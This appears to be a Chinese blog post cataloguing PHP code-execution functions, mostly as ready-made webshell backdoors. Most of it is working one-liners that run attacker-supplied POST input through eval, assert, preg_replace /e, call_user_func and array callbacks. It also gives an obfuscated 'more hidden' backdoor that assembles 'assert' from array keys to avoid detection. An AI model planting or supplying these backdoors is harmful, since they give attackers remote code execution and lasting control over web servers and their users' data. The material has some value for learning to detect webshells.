当前位置: 首页 > 工具软件 > PHP Forward > 使用案例 >

PHP常见代码执行后门函数(例如eval和assert)

温举
2023-12-01

什么是代码执行:

应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

常见php代码执行函数介绍

常用执行代码函数

1、eval():

<?php @eval($_POST['hacker']); ?>

eval函数将接受的字符串当做代码执行

2、 assert():

用法和 eval()一样

<?php @assert($_POST['hacker']); ?>

3、preg_replace():

<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行

4、 create_function():

 <?php
$newfun = create_function('$hacker', 'echo $hacker;');
$newfun('woaini');
 ?>

创建了一个匿名函数,并返回了一个独一无二的函数名

5、 call_user_func():

<?php
echo call_user_func('shell_exec','whoami');
?>
<?php
call_user_func_array('assert', array($_POST['pass']));
?>

函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

6、更多回调函数

call_user_func_array()
call_user_func()
array_filter() 
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()

<?php forward_static_call_array(assert,array($_POST[x]));?>

解释:把函数作为参数传入进另一个函数中使用。


call_user_func

把第一个参数作为回调函数调用

call_user_func_array

调用回调函数,并把一个数组参数作为回调函数的参数

usort

使用用户自定义的比较函数对数组中的值进行排序

register_shutdown_function
<?php register_shutdown_function('assert','phpinfo();');?>

注册一个会在php中止时执行的函数

array_map

为数组的每个元素应用回调函数

array_walk

使用用户自定义函数对数组中的每个元素做回调处理

array_filter

用回调函数过滤数组中的单元

array_reduce

用回调函数迭代地将数组简化为单一的值

array_udiff

用回调函数比较数据来计算数组的差集

array_uintersect

计算数组的交集,用回调函数比较数据

array_diff_uassoc

用用户提供的回调函数做索引检查来计算数组的差集

array_diff_ukey

用回调函数对键名比较计算数组的差集

例子1:

<?php
//数组回调进行构造后门
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,用回调函数进行构造
?>

例子2:更隐蔽的后门

<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple");
$a =array_keys($fruits);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t';
$r = $_REQUEST['user'];
@$q($r);
/*
$q会拼接成assert,然后使用@assert("黑客入侵代码")来执行
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
*/
?>

 

 类似资料: